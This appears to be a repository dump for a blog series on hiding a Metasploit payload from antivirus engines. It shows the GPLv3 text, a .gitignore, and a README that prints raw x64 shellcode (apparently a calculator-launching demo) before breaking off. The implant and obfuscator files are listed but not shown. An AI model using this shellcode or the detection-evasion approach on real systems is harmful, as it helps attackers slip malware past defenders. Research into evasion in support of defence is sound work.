├── .gitignore
├── LICENSE
├── README.md
├── headers
├── definitons.h
├── obfuscators.h
└── sandbox.h
├── implant.cpp
├── scripts
└── obfuscator.py
└── translate.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Compiled Object files
5 | *.slo
6 | *.lo
7 | *.o
8 | *.obj
9 |
10 | # Precompiled Headers
11 | *.gch
12 | *.pch
13 |
14 | # Compiled Dynamic libraries
15 | *.so
16 | *.dylib
17 | *.dll
18 |
19 | # Fortran module files
20 | *.mod
21 | *.smod
22 |
23 | # Compiled Static libraries
24 | *.lai
25 | *.la
26 | *.a
27 | *.lib
28 |
29 | # Executables
30 | *.exe
31 | *.out
32 | *.app
33 |
34 | # Exectable Directory
35 | executables
36 |
37 | # test files
38 | test*
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # A Study in Obfuscation
2 |
3 | In this blog series, we explore how to obfuscate a Metasploit payload to avoid detection by Antivirus Engines and shall try to go invisible.
4 |
5 | We would employ known techniques and see how they affect detection rates uploading the compiled executable to [AntiScan](https://antiscan.me/) as it does not submit the samples to the vendors.
6 |
7 | ## Environment Setup
8 | To begin with, we would be needing some tools and setup to get started. The first thing is the unobfuscated shellcode we'll be using:
9 |
10 | ```bash
11 | RAW_PAYLOAD = [
12 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
13 | 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
14 | 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
15 | 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
16 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
17 | 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
18 | 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
19 | 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
20 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
21 | 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
22 | 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
23 | 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
24 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
25 | 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
26 | 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
27 | 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
28 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
29 | 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
30 | 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
31 | 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
32 | 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
33 | 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
34 | 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
35 | ]
36 | ```
37 |
